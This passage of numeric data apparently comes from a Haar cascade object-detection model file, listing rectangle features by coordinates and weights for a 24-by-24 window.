9 24 6 -1. + <_> + 12 9 12 3 2. + <_> + 0 12 12 3 2. + <_> + + <_> + 6 16 8 8 -1. + <_> + 6 20 8 4 2. + <_> + + <_> + 10 16 14 6 -1. + <_> + 10 18 14 2 3. + <_> + + <_> + 1 1 21 3 -1. + <_> + 1 2 21 1 3. + <_> + + <_> + 0 2 24 3 -1. + <_> + 0 2 12 3 2. + <_> + + <_> + 2 15 8 5 -1. + <_> + 6 15 4 5 2. + <_> + + <_> + 2 11 21 3 -1. + <_> + 9 11 7 3 3. + <_> + + <_> + 1 18 12 6 -1. + <_> + 1 18 6 3 2. + <_> + 7 21 6 3 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 7 7 4 10 -1. + <_> + 7 12 4 5 2. + <_> + + <_> + 9 8 6 12 -1. + <_> + 9 12 6 4 3. + <_> + + <_> + 7 1 9 6 -1. + <_> + 10 1 3 6 3. + <_> + + <_> + 3 14 19 2 -1. + <_> + 3 15 19 1 2. + <_> + + <_> + 7 7 10 10 -1. + <_> + 7 7 5 5 2. + <_> + 12 12 5 5 2. + <_> + + <_> + 3 12 18 12 -1. + <_> + 3 12 9 12 2. + <_> + + <_> + 8 0 6 12 -1. + <_> + 10 0 2 12 3. + <_> + + <_> + 3 0 17 9 -1. + <_> + 3 3 17 3 3. + <_> + + <_> + 6 0 12 11 -1. + <_> + 10 0 4 11 3. + <_> + + <_> + 1 0 6 13 -1. + <_> + 4 0 3 13 2. + <_> + + <_> + 5 8 16 6 -1. + <_> + 5 11 16 3 2. + <_> + + <_> + 8 8 5 12 -1. + <_> + 8 14 5 6 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 2 0 20 3 -1. + <_> + 2 1 20 1 3. + <_> + + <_> + 4 6 15 10 -1. + <_> + 9 6 5 10 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 7 16 9 6 -1. + <_> + 7 18 9 2 3. + <_> + + <_> + 14 0 6 9 -1. + <_> + 16 0 2 9 3. + <_> + + <_> + 4 0 6 9 -1. + <_> + 6 0 2 9 3. + <_> + + <_> + 17 1 6 16 -1. + <_> + 19 1 2 16 3. + <_> + + <_> + 1 1 6 16 -1. + <_> + 3 1 2 16 3. + <_> + + <_> + 14 13 6 9 -1. + <_> + 14 16 6 3 3. + <_> + + <_> + 0 0 6 9 -1. + <_> + 0 3 6 3 3. + <_> + + <_> + 9 5 6 6 -1. + <_> + 9 5 3 6 2. + <_> + + <_> + 3 10 9 6 -1. + <_> + 6 10 3 6 3. + <_> + + <_> + 14 7 3 16 -1. + <_> + 14 15 3 8 2. + <_> + + <_> + 4 10 14 12 -1. + <_> + 4 10 7 6 2. + <_> + 11 16 7 6 2. + <_> + + <_> + 7 6 12 6 -1. + <_> + 7 8 12 2 3. + <_> + + <_> + 7 2 4 20 -1. + <_> + 9 2 2 20 2. + <_> + + <_> + 14 13 6 9 -1. + <_> + 14 16 6 3 3. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 14 13 6 9 -1. + <_> + 14 16 6 3 3. + <_> + + <_> + 5 20 14 4 -1. + <_> + 5 22 14 2 2. + <_> + + <_> + 4 4 16 12 -1. + <_> + 4 10 16 6 2. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 3 0 21 4 -1. + <_> + 3 2 21 2 2. + <_> + + <_> + 4 13 6 9 -1. + <_> + 4 16 6 3 3. + <_> + + <_> + 16 16 5 8 -1. + <_> + 16 20 5 4 2. + <_> + + <_> + 4 0 16 16 -1. + <_> + 4 0 8 8 2. + <_> + 12 8 8 8 2. + <_> + + <_> + 6 6 14 6 -1. + <_> + 13 6 7 3 2. + <_> + 6 9 7 3 2. + <_> + + <_> + 10 5 4 15 -1. + <_> + 10 10 4 5 3. + <_> + + <_> + 9 15 12 8 -1. + <_> + 15 15 6 4 2. + <_> + 9 19 6 4 2. + <_> + + <_> + 6 7 12 4 -1. + <_> + 12 7 6 4 2. + <_> + + <_> + 5 6 14 6 -1. + <_> + 12 6 7 3 2. + <_> + 5 9 7 3 2. + <_> + + <_> + 3 6 18 10 -1. + <_> + 3 6 9 5 2. + <_> + 12 11 9 5 2. + <_> + + <_> + 6 0 18 21 -1. + <_> + 12 0 6 21 3. + <_> + + <_> + 0 0 24 21 -1. + <_> + 8 0 8 21 3. + <_> + + <_> + 6 18 18 3 -1. + <_> + 6 19 18 1 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 4 3 19 2 -1. + <_> + 4 4 19 1 2. + <_> + + <_> + 0 3 24 2 -1. + <_> + 0 4 24 1 2. + <_> + + <_> + 15 14 9 4 -1. + <_> + 15 16 9 2 2. + <_> + + <_> + 0 14 9 4 -1. + <_> + 0 16 9 2 2. + <_> + + <_> + 6 15 18 2 -1. + <_> + 6 16 18 1 2. + <_> + + <_> + 3 17 18 3 -1. + <_> + 3 18 18 1 3. + <_> + + <_> + 12 0 3 23 -1. + <_> + 13 0 1 23 3. + <_> + + <_> + 6 0 8 6 -1. + <_> + 6 3 8 3 2. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 9 0 3 23 -1. + <_> + 10 0 1 23 3. + <_> + + <_> + 10 7 4 10 -1. + <_> + 10 12 4 5 2. + <_> + + <_> + 7 8 10 12 -1. + <_> + 7 12 10 4 3. + <_> + + <_> + 14 9 6 14 -1. + <_> + 17 9 3 7 2. + <_> + 14 16 3 7 2. + <_> + + <_> + 2 0 10 9 -1. + <_> + 2 3 10 3 3. + <_> + + <_> + 11 1 5 12 -1. + <_> + 11 7 5 6 2. + <_> + + <_> + 1 4 12 10 -1. + <_> + 1 4 6 5 2. + <_> + 7 9 6 5 2. + <_> + + <_> + 15 1 9 4 -1. + <_> + 15 3 9 2 2. + <_> + + <_> + 1 2 8 10 -1. + <_> + 1 2 4 5 2. + <_> + 5 7 4 5 2. + <_> + + <_> + 10 1 5 12 -1. + <_> + 10 5 5 4 3. + <_> + + <_> + 4 0 14 24 -1. + <_> + 11 0 7 24 2. + <_> + + <_> + 7 17 10 4 -1. + <_> + 7 19 10 2 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 13 15 6 9 -1. + <_> + 15 15 2 9 3. + <_> + + <_> + 3 21 18 3 -1. + <_> + 3 22 18 1 3. + <_> + + <_> + 13 15 6 9 -1. + <_> + 15 15 2 9 3. + <_> + + <_> + 5 15 6 9 -1. + <_> + 7 15 2 9 3. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 7 3 6 11 -1. + <_> + 9 3 2 11 3. + <_> + + <_> + 15 1 9 4 -1. + <_> + 15 3 9 2 2. + <_> + + <_> + 5 4 14 8 -1. + <_> + 5 8 14 4 2. + <_> + + <_> + 8 1 15 9 -1. + <_> + 8 4 15 3 3. + <_> + + <_> + 7 2 8 10 -1. + <_> + 7 2 4 5 2. + <_> + 11 7 4 5 2. + <_> + + <_> + 12 2 6 12 -1. + <_> + 12 2 3 12 2. + <_> + + <_> + 6 2 6 12 -1. + <_> + 9 2 3 12 2. + <_> + + <_> + 7 7 12 4 -1. + <_> + 7 7 6 4 2. + <_> + + <_> + 6 3 12 10 -1. + <_> + 10 3 4 10 3. + <_> + + <_> + 5 6 16 6 -1. + <_> + 13 6 8 3 2. + <_> + 5 9 8 3 2. + <_> + + <_> + 3 1 18 9 -1. + <_> + 9 1 6 9 3. + <_> + + <_> + 3 8 18 5 -1. + <_> + 9 8 6 5 3. + <_> + + <_> + 0 0 24 22 -1. + <_> + 0 0 12 11 2. + <_> + 12 11 12 11 2. + <_> + + <_> + 14 16 9 6 -1. + <_> + 14 18 9 2 3. + <_> + + <_> + 0 16 24 8 -1. + <_> + 0 20 24 4 2. + <_> + + <_> + 1 19 22 4 -1. + <_> + 12 19 11 2 2. + <_> + 1 21 11 2 2. + <_> + + <_> + 1 16 9 6 -1. + <_> + 1 18 9 2 3. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 8 5 4 2. + <_> + + <_> + 9 15 6 9 -1. + <_> + 11 15 2 9 3. + <_> + + <_> + 10 18 12 6 -1. + <_> + 16 18 6 3 2. + <_> + 10 21 6 3 2. + <_> + + <_> + 2 18 12 6 -1. + <_> + 2 18 6 3 2. + <_> + 8 21 6 3 2. + <_> + + <_> + 8 3 16 9 -1. + <_> + 8 6 16 3 3. + <_> + + <_> + 0 5 10 6 -1. + <_> + 0 7 10 2 3. + <_> + + <_> + 5 5 18 3 -1. + <_> + 5 6 18 1 3. + <_> + + <_> + 2 6 9 6 -1. + <_> + 2 9 9 3 2. + <_> + + <_> + 14 2 10 9 -1. + <_> + 14 5 10 3 3. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 9 2 15 6 -1. + <_> + 9 4 15 2 3. + <_> + + <_> + 4 8 15 6 -1. + <_> + 4 10 15 2 3. + <_> + + <_> + 0 5 24 4 -1. + <_> + 12 5 12 2 2. + <_> + 0 7 12 2 2. + <_> + + <_> + 7 8 6 12 -1. + <_> + 9 8 2 12 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 0 12 6 12 -1. + <_> + 0 12 3 6 2. + <_> + 3 18 3 6 2. + <_> + + <_> + 14 12 10 6 -1. + <_> + 14 14 10 2 3. + <_> + + <_> + 2 7 18 9 -1. + <_> + 2 10 18 3 3. + <_> + + <_> + 11 14 10 9 -1. + <_> + 11 17 10 3 3. + <_> + + <_> + 7 6 10 8 -1. + <_> + 7 6 5 4 2. + <_> + 12 10 5 4 2. + <_> + + <_> + 6 6 14 6 -1. + <_> + 13 6 7 3 2. + <_> + 6 9 7 3 2. + <_> + + <_> + 4 13 9 7 -1. + <_> + 7 13 3 7 3. + <_> + + <_> + 14 10 6 12 -1. + <_> + 17 10 3 6 2. + <_> + 14 16 3 6 2. + <_> + + <_> + 4 10 6 12 -1. + <_> + 4 10 3 6 2. + <_> + 7 16 3 6 2. + <_> + + <_> + 13 9 8 6 -1. + <_> + 13 9 4 6 2. + <_> + + <_> + 8 3 4 14 -1. + <_> + 10 3 2 14 2. + <_> + + <_> + 17 0 3 18 -1. + <_> + 18 0 1 18 3. + <_> + + <_> + 4 12 16 12 -1. + <_> + 12 12 8 12 2. + <_> + + <_> + 15 0 6 14 -1. + <_> + 17 0 2 14 3. + <_> + + <_> + 3 0 6 14 -1. + <_> + 5 0 2 14 3. + <_> + + <_> + 12 2 12 20 -1. + <_> + 16 2 4 20 3. + <_> + + <_> + 0 2 12 20 -1. + <_> + 4 2 4 20 3. + <_> + + <_> + 16 0 6 17 -1. + <_> + 18 0 2 17 3. + <_> + + <_> + 2 0 6 17 -1. + <_> + 4 0 2 17 3. + <_> + + <_> + 15 6 9 6 -1. + <_> + 15 8 9 2 3. + <_> + + <_> + 0 6 9 6 -1. + <_> + 0 8 9 2 3. + <_> + + <_> + 18 1 6 13 -1. + <_> + 20 1 2 13 3. + <_> + + <_> + 0 1 6 13 -1. + <_> + 2 1 2 13 3. + <_> + + <_> + 16 0 4 9 -1. + <_> + 16 0 2 9 2. + <_> + + <_> + 5 10 12 7 -1. + <_> + 9 10 4 7 3. + <_> + + <_> + 12 9 12 6 -1. + <_> + 12 11 12 2 3. + <_> + + <_> + 0 9 12 6 -1. + <_> + 0 11 12 2 3. + <_> + + <_> + 5 7 14 9 -1. + <_> + 5 10 14 3 3. + <_> + + <_> + 0 15 20 3 -1. + <_> + 0 16 20 1 3. + <_> + + <_> + 8 10 8 10 -1. + <_> + 12 10 4 5 2. + <_> + 8 15 4 5 2. + <_> + + <_> + 5 4 13 9 -1. + <_> + 5 7 13 3 3. + <_> + + <_> + 10 2 6 18 -1. + <_> + 10 8 6 6 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 6 9 12 4 -1. + <_> + 6 11 12 2 2. + <_> + + <_> + 3 2 15 12 -1. + <_> + 3 6 15 4 3. + <_> + + <_> + 12 0 12 5 -1. + <_> + 16 0 4 5 3. + <_> + + <_> + 0 15 18 3 -1. + <_> + 6 15 6 3 3. + <_> + + <_> + 0 14 24 5 -1. + <_> + 8 14 8 5 3. + <_> + + <_> + 5 1 3 18 -1. + <_> + 6 1 1 18 3. + <_> + + <_> + 10 0 4 14 -1. + <_> + 10 0 2 14 2. + <_> + + <_> + 9 3 4 9 -1. + <_> + 11 3 2 9 2. + <_> + + <_> + 8 2 12 6 -1. + <_> + 14 2 6 3 2. + <_> + 8 5 6 3 2. + <_> + + <_> + 0 4 17 4 -1. + <_> + 0 6 17 2 2. + <_> + + <_> + 16 16 5 8 -1. + <_> + 16 20 5 4 2. + <_> + + <_> + 3 16 5 8 -1. + <_> + 3 20 5 4 2. + <_> + + <_> + 6 18 18 2 -1. + <_> + 6 19 18 1 2. + <_> + + <_> + 0 0 12 5 -1. + <_> + 4 0 4 5 3. + <_> + + <_> + 14 3 6 12 -1. + <_> + 17 3 3 6 2. + <_> + 14 9 3 6 2. + <_> + + <_> + 0 12 6 12 -1. + <_> + 2 12 2 12 3. + <_> + + <_> + 2 3 21 3 -1. + <_> + 2 4 21 1 3. + <_> + + <_> + 4 3 6 12 -1. + <_> + 4 3 3 6 2. + <_> + 7 9 3 6 2. + <_> + + <_> + 12 8 12 6 -1. + <_> + 18 8 6 3 2. + <_> + 12 11 6 3 2. + <_> + + <_> + 0 15 16 9 -1. + <_> + 8 15 8 9 2. + <_> + + <_> + 6 13 18 5 -1. + <_> + 6 13 9 5 2. + <_> + + <_> + 1 6 15 6 -1. + <_> + 6 6 5 6 3. + <_> + + <_> + 11 9 9 6 -1. + <_> + 14 9 3 6 3. + <_> + + <_> + 3 0 15 11 -1. + <_> + 8 0 5 11 3. + <_> + + <_> + 15 3 3 18 -1. + <_> + 15 9 3 6 3. + <_> + + <_> + 6 3 3 18 -1. + <_> + 6 9 3 6 3. + <_> + + <_> + 9 5 10 8 -1. + <_> + 14 5 5 4 2. + <_> + 9 9 5 4 2. + <_> + + <_> + 4 4 16 8 -1. + <_> + 4 4 8 4 2. + <_> + 12 8 8 4 2. + <_> + + <_> + 7 7 12 3 -1. + <_> + 7 7 6 3 2. + <_> + + <_> + 5 0 9 13 -1. + <_> + 8 0 3 13 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 8 1 10 9 -1. + <_> + 8 4 10 3 3. + <_> + + <_> + 0 2 18 2 -1. + <_> + 0 3 18 1 2. + <_> + + <_> + 10 13 14 6 -1. + <_> + 17 13 7 3 2. + <_> + 10 16 7 3 2. + <_> + + <_> + 0 13 14 6 -1. + <_> + 0 13 7 3 2. + <_> + 7 16 7 3 2. + <_> + + <_> + 20 2 3 21 -1. + <_> + 21 2 1 21 3. + <_> + + <_> + 0 9 5 12 -1. + <_> + 0 13 5 4 3. + <_> + + <_> + 12 6 12 6 -1. + <_> + 12 8 12 2 3. + <_> + + <_> + 1 8 20 3 -1. + <_> + 1 9 20 1 3. + <_> + + <_> + 5 7 19 3 -1. + <_> + 5 8 19 1 3. + <_> + + <_> + 1 12 9 6 -1. + <_> + 1 14 9 2 3. + <_> + + <_> + 6 10 14 12 -1. + <_> + 6 14 14 4 3. + <_> + + <_> + 5 6 14 18 -1. + <_> + 5 12 14 6 3. + <_> + + <_> + 11 12 9 7 -1. + <_> + 14 12 3 7 3. + <_> + + <_> + 1 15 18 4 -1. + <_> + 1 17 18 2 2. + <_> + + <_> + 11 14 6 9 -1. + <_> + 11 17 6 3 3. + <_> + + <_> + 0 8 18 4 -1. + <_> + 0 8 9 2 2. + <_> + 9 10 9 2 2. + <_> + + <_> + 3 10 20 6 -1. + <_> + 13 10 10 3 2. + <_> + 3 13 10 3 2. + <_> + + <_> + 1 10 20 6 -1. + <_> + 1 10 10 3 2. + <_> + 11 13 10 3 2. + <_> + + <_> + 0 9 24 2 -1. + <_> + 0 9 12 2 2. + <_> + + <_> + 1 12 20 8 -1. + <_> + 1 12 10 4 2. + <_> + 11 16 10 4 2. + <_> + + <_> + 11 12 9 7 -1. + <_> + 14 12 3 7 3. + <_> + + <_> + 4 12 9 7 -1. + <_> + 7 12 3 7 3. + <_> + + <_> + 12 12 8 5 -1. + <_> + 12 12 4 5 2. + <_> + + <_> + 4 12 8 5 -1. + <_> + 8 12 4 5 2. + <_> + + <_> + 13 10 4 10 -1. + <_> + 13 10 2 10 2. + <_> + + <_> + 1 15 20 2 -1. + <_> + 11 15 10 2 2. + <_> + + <_> + 9 10 6 6 -1. + <_> + 9 10 3 6 2. + <_> + + <_> + 0 1 21 3 -1. + <_> + 7 1 7 3 3. + <_> + + <_> + 6 4 13 9 -1. + <_> + 6 7 13 3 3. + <_> + + <_> + 6 5 12 5 -1. + <_> + 10 5 4 5 3. + <_> + + <_> + 10 10 10 6 -1. + <_> + 10 12 10 2 3. + <_> + + <_> + 6 12 5 8 -1. + <_> + 6 16 5 4 2. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 2 10 18 6 -1. + <_> + 8 10 6 6 3. + <_> + + <_> + 11 2 9 4 -1. + <_> + 11 4 9 2 2. + <_> + + <_> + 1 20 21 3 -1. + <_> + 8 20 7 3 3. + <_> + + <_> + 1 10 22 2 -1. + <_> + 1 11 22 1 2. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 5 0 6 9 -1. + <_> + 7 0 2 9 3. + <_> + + <_> + 18 2 6 20 -1. + <_> + 20 2 2 20 3. + <_> + + <_> + 0 2 6 20 -1. + <_> + 2 2 2 20 3. + <_> + + <_> + 11 7 6 14 -1. + <_> + 14 7 3 7 2. + <_> + 11 14 3 7 2. + <_> + + <_> + 0 1 4 9 -1. + <_> + 2 1 2 9 2. + <_> + + <_> + 12 14 9 4 -1. + <_> + 12 16 9 2 2. + <_> + + <_> + 1 13 9 4 -1. + <_> + 1 15 9 2 2. + <_> + + <_> + 7 6 15 6 -1. + <_> + 7 8 15 2 3. + <_> + + <_> + 8 2 3 18 -1. + <_> + 8 8 3 6 3. + <_> + + <_> + 6 6 12 6 -1. + <_> + 12 6 6 3 2. + <_> + 6 9 6 3 2. + <_> + + <_> + 2 19 20 4 -1. + <_> + 2 19 10 2 2. + <_> + 12 21 10 2 2. + <_> + + <_> + 14 15 6 9 -1. + <_> + 14 18 6 3 3. + <_> + + <_> + 3 5 18 14 -1. + <_> + 3 5 9 7 2. + <_> + 12 12 9 7 2. + <_> + + <_> + 15 6 4 18 -1. + <_> + 17 6 2 9 2. + <_> + 15 15 2 9 2. + <_> + + <_> + 5 6 4 18 -1. + <_> + 5 6 2 9 2. + <_> + 7 15 2 9 2. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 11 5 6 9 -1. + <_> + 13 5 2 9 3. + <_> + + <_> + 9 5 6 6 -1. + <_> + 12 5 3 6 2. + <_> + + <_> + 4 1 16 6 -1. + <_> + 12 1 8 3 2. + <_> + 4 4 8 3 2. + <_> + + <_> + 9 13 6 11 -1. + <_> + 11 13 2 11 3. + <_> + + <_> + 17 1 6 12 -1. + <_> + 20 1 3 6 2. + <_> + 17 7 3 6 2. + <_> + + <_> + 1 17 18 3 -1. + <_> + 1 18 18 1 3. + <_> + + <_> + 7 13 10 8 -1. + <_> + 7 17 10 4 2. + <_> + + <_> + 6 18 10 6 -1. + <_> + 6 20 10 2 3. + <_> + + <_> + 9 14 9 4 -1. + <_> + 9 16 9 2 2. + <_> + + <_> + 1 1 6 12 -1. + <_> + 1 1 3 6 2. + <_> + 4 7 3 6 2. + <_> + + <_> + 19 4 5 12 -1. + <_> + 19 8 5 4 3. + <_> + + <_> + 0 0 8 8 -1. + <_> + 4 0 4 8 2. + <_> + + <_> + 3 5 19 3 -1. + <_> + 3 6 19 1 3. + <_> + + <_> + 1 5 12 6 -1. + <_> + 1 5 6 3 2. + <_> + 7 8 6 3 2. + <_> + + <_> + 2 1 21 8 -1. + <_> + 9 1 7 8 3. + <_> + + <_> + 4 1 16 8 -1. + <_> + 4 5 16 4 2. + <_> + + <_> + 6 0 18 3 -1. + <_> + 6 1 18 1 3. + <_> + + <_> + 4 4 10 14 -1. + <_> + 4 11 10 7 2. + <_> + + <_> + 15 6 4 10 -1. + <_> + 15 11 4 5 2. + <_> + + <_> + 3 18 18 3 -1. + <_> + 9 18 6 3 3. + <_> + + <_> + 8 18 12 6 -1. + <_> + 12 18 4 6 3. + <_> + + <_> + 3 15 6 9 -1. + <_> + 6 15 3 9 2. + <_> + + <_> + 15 7 6 8 -1. + <_> + 15 11 6 4 2. + <_> + + <_> + 3 7 6 8 -1. + <_> + 3 11 6 4 2. + <_> + + <_> + 5 9 18 6 -1. + <_> + 14 9 9 3 2. + <_> + 5 12 9 3 2. + <_> + + <_> + 1 13 12 6 -1. + <_> + 1 15 12 2 3. + <_> + + <_> + 14 15 10 6 -1. + <_> + 14 17 10 2 3. + <_> + + <_> + 0 15 10 6 -1. + <_> + 0 17 10 2 3. + <_> + + <_> + 15 13 6 9 -1. + <_> + 15 16 6 3 3. + <_> + + <_> + 3 13 6 9 -1. + <_> + 3 16 6 3 3. + <_> + + <_> + 9 5 8 8 -1. + <_> + 9 5 4 8 2. + <_> + + <_> + 1 18 12 6 -1. + <_> + 1 18 6 3 2. + <_> + 7 21 6 3 2. + <_> + + <_> + 13 19 10 4 -1. + <_> + 13 21 10 2 2. + <_> + + <_> + 1 19 10 4 -1. + <_> + 1 21 10 2 2. + <_> + + <_> + 6 19 18 3 -1. + <_> + 6 20 18 1 3. + <_> + + <_> + 8 14 4 10 -1. + <_> + 8 19 4 5 2. + <_> + + <_> + 0 0 24 6 -1. + <_> + 0 2 24 2 3. + <_> + + <_> + 0 1 6 9 -1. + <_> + 0 4 6 3 3. + <_> + + <_> + 4 9 20 6 -1. + <_> + 14 9 10 3 2. + <_> + 4 12 10 3 2. + <_> + + <_> + 1 15 19 8 -1. + <_> + 1 19 19 4 2. + <_> + + <_> + 14 0 10 6 -1. + <_> + 14 2 10 2 3. + <_> + + <_> + 1 10 21 14 -1. + <_> + 8 10 7 14 3. + <_> + + <_> + 10 10 8 8 -1. + <_> + 10 10 4 8 2. + <_> + + <_> + 6 8 10 4 -1. + <_> + 11 8 5 4 2. + <_> + + <_> + 10 5 4 9 -1. + <_> + 10 5 2 9 2. + <_> + + <_> + 7 5 6 10 -1. + <_> + 9 5 2 10 3. + <_> + + <_> + 14 4 4 13 -1. + <_> + 14 4 2 13 2. + <_> + + <_> + 6 4 4 13 -1. + <_> + 8 4 2 13 2. + <_> + + <_> + 8 7 9 6 -1. + <_> + 11 7 3 6 3. + <_> + + <_> + 3 6 16 6 -1. + <_> + 3 6 8 3 2. + <_> + 11 9 8 3 2. + <_> + + <_> + 5 4 16 14 -1. + <_> + 13 4 8 7 2. + <_> + 5 11 8 7 2. + <_> + + <_> + 0 0 24 4 -1. + <_> + 0 0 12 2 2. + <_> + 12 2 12 2 2. + <_> + + <_> + 9 1 9 6 -1. + <_> + 12 1 3 6 3. + <_> + + <_> + 4 1 14 4 -1. + <_> + 11 1 7 4 2. + <_> + + <_> + 10 14 7 9 -1. + <_> + 10 17 7 3 3. + <_> + + <_> + 8 3 8 10 -1. + <_> + 8 3 4 5 2. + <_> + 12 8 4 5 2. + <_> + + <_> + 7 3 12 5 -1. + <_> + 11 3 4 5 3. + <_> + + <_> + 8 2 4 13 -1. + <_> + 10 2 2 13 2. + <_> + + <_> + 11 2 3 19 -1. + <_> + 12 2 1 19 3. + <_> + + <_> + 7 7 9 6 -1. + <_> + 10 7 3 6 3. + <_> + + <_> + 4 22 20 2 -1. + <_> + 4 22 10 2 2. + <_> + + <_> + 0 16 24 4 -1. + <_> + 0 16 12 2 2. + <_> + 12 18 12 2 2. + <_> + + <_> + 7 3 12 5 -1. + <_> + 11 3 4 5 3. + <_> + + <_> + 1 10 8 14 -1. + <_> + 1 10 4 7 2. + <_> + 5 17 4 7 2. + <_> + + <_> + 11 16 6 6 -1. + <_> + 11 19 6 3 2. + <_> + + <_> + 6 0 10 24 -1. + <_> + 6 0 5 12 2. + <_> + 11 12 5 12 2. + <_> + + <_> + 7 5 14 14 -1. + <_> + 14 5 7 7 2. + <_> + 7 12 7 7 2. + <_> + + <_> + 7 8 10 8 -1. + <_> + 7 8 5 4 2. + <_> + 12 12 5 4 2. + <_> + + <_> + 9 1 9 6 -1. + <_> + 12 1 3 6 3. + <_> + + <_> + 0 6 24 3 -1. + <_> + 12 6 12 3 2. + <_> + + <_> + 7 3 12 5 -1. + <_> + 11 3 4 5 3. + <_> + + <_> + 1 13 22 4 -1. + <_> + 1 13 11 2 2. + <_> + 12 15 11 2 2. + <_> + + <_> + 9 12 12 6 -1. + <_> + 9 14 12 2 3. + <_> + + <_> + 0 5 9 6 -1. + <_> + 0 7 9 2 3. + <_> + + <_> + 1 5 23 6 -1. + <_> + 1 7 23 2 3. + <_> + + <_> + 1 6 19 12 -1. + <_> + 1 10 19 4 3. + <_> + + <_> + 9 1 6 21 -1. + <_> + 9 8 6 7 3. + <_> + + <_> + 3 19 18 3 -1. + <_> + 9 19 6 3 3. + <_> + + <_> + 9 14 6 9 -1. + <_> + 11 14 2 9 3. + <_> + + <_> + 9 6 4 12 -1. + <_> + 11 6 2 12 2. + <_> + + <_> + 16 0 6 9 -1. + <_> + 18 0 2 9 3. + <_> + + <_> + 2 0 6 9 -1. + <_> + 4 0 2 9 3. + <_> + + <_> + 13 1 4 22 -1. + <_> + 15 1 2 11 2. + <_> + 13 12 2 11 2. + <_> + + <_> + 1 8 8 12 -1. + <_> + 1 14 8 6 2. + <_> + + <_> + 14 7 7 9 -1. + <_> + 14 10 7 3 3. + <_> + + <_> + 3 12 18 4 -1. + <_> + 3 12 9 2 2. + <_> + 12 14 9 2 2. + <_> + + <_> + 13 1 4 22 -1. + <_> + 15 1 2 11 2. + <_> + 13 12 2 11 2. + <_> + + <_> + 7 1 4 22 -1. + <_> + 7 1 2 11 2. + <_> + 9 12 2 11 2. + <_> + + <_> + 4 7 20 4 -1. + <_> + 14 7 10 2 2. + <_> + 4 9 10 2 2. + <_> + + <_> + 9 10 6 7 -1. + <_> + 12 10 3 7 2. + <_> + + <_> + 7 7 10 4 -1. + <_> + 7 7 5 4 2. + <_> + + <_> + 0 3 4 15 -1. + <_> + 0 8 4 5 3. + <_> + + <_> + 15 0 8 12 -1. + <_> + 19 0 4 6 2. + <_> + 15 6 4 6 2. + <_> + + <_> + 1 0 8 12 -1. + <_> + 1 0 4 6 2. + <_> + 5 6 4 6 2. + <_> + + <_> + 14 5 6 16 -1. + <_> + 16 5 2 16 3. + <_> + + <_> + 4 5 6 16 -1. + <_> + 6 5 2 16 3. + <_> + + <_> + 15 0 6 16 -1. + <_> + 17 0 2 16 3. + <_> + + <_> + 3 0 6 16 -1. + <_> + 5 0 2 16 3. + <_> + + <_> + 0 2 24 3 -1. + <_> + 0 3 24 1 3. + <_> + + <_> + 7 1 10 4 -1. + <_> + 7 3 10 2 2. + <_> + + <_> + 1 0 23 8 -1. + <_> + 1 4 23 4 2. + <_> + + <_> + 1 17 19 3 -1. + <_> + 1 18 19 1 3. + <_> + + <_> + 6 18 18 2 -1. + <_> + 6 19 18 1 2. + <_> + + <_> + 1 17 9 6 -1. + <_> + 1 19 9 2 3. + <_> + + <_> + 15 15 6 9 -1. + <_> + 15 18 6 3 3. + <_> + + <_> + 3 15 6 9 -1. + <_> + 3 18 6 3 3. + <_> + + <_> + 4 14 20 6 -1. + <_> + 4 17 20 3 2. + <_> + + <_> + 0 10 6 14 -1. + <_> + 0 10 3 7 2. + <_> + 3 17 3 7 2. + <_> + + <_> + 6 18 18 3 -1. + <_> + 6 19 18 1 3. + <_> + + <_> + 4 12 9 7 -1. + <_> + 7 12 3 7 3. + <_> + + <_> + 6 10 18 5 -1. + <_> + 12 10 6 5 3. + <_> + + <_> + 0 10 18 5 -1. + <_> + 6 10 6 5 3. + <_> + + <_> + 3 2 18 9 -1. + <_> + 9 2 6 9 3. + <_> + + <_> + 4 6 10 10 -1. + <_> + 4 6 5 5 2. + <_> + 9 11 5 5 2. + <_> + + <_> + 20 14 4 9 -1. + <_> + 20 14 2 9 2. + <_> + + <_> + 0 14 4 9 -1. + <_> + 2 14 2 9 2. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 6 21 12 3 -1. + <_> + 12 21 6 3 2. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 1 16 10 8 -1. + <_> + 1 16 5 4 2. + <_> + 6 20 5 4 2. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 10 2. + <_> + 11 11 2 10 2. + <_> + + <_> + 1 0 3 19 -1. + <_> + 2 0 1 19 3. + <_> + + <_> + 11 1 4 20 -1. + <_> + 13 1 2 